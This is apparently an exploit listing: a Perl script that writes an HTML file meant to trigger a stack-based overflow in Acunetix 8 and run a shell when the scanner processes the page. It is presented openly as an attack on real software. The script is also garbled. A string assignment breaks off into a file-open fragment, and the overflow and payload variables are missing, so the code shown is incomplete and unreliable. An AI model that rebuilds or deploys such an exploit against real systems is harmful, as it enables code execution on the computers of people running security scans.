# Exploit Title: Acunetix Stack Based overflow # Date: 24/04/14 # Exploit Author: Danor Cohen (An7i) - http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html # Vendor Homepage: http://www.acunetix.com/ # Software Link: http://www.acunetix.com/vulnerability-scanner/download/ # Version: 8 build 20120704 # Tested on: XP # # http://www.reddit.com/r/netsec/comments/23tbn6/pwn_the_n00bs_acunetix_0day/ # #This exploit generates HTML file, if this HTML will be scanned with ACUNETIX, shell will be executed. my $file= "index.html"; my $HTMLHeader1 = "\r\n"; my $HTMLHeader2 = "\r\n"; my $IMGheader1 = "$file"); print $FILE $HTMLHeader1.$FinalDomainName1.$FinalDomainName2.$FinalDomainName3.$FinalDomainName4.$FinalDomainName5.$FinalExploitDomain.$HTMLHeader2; close($FILE); print "Acunetix Killer File Created successfully\n";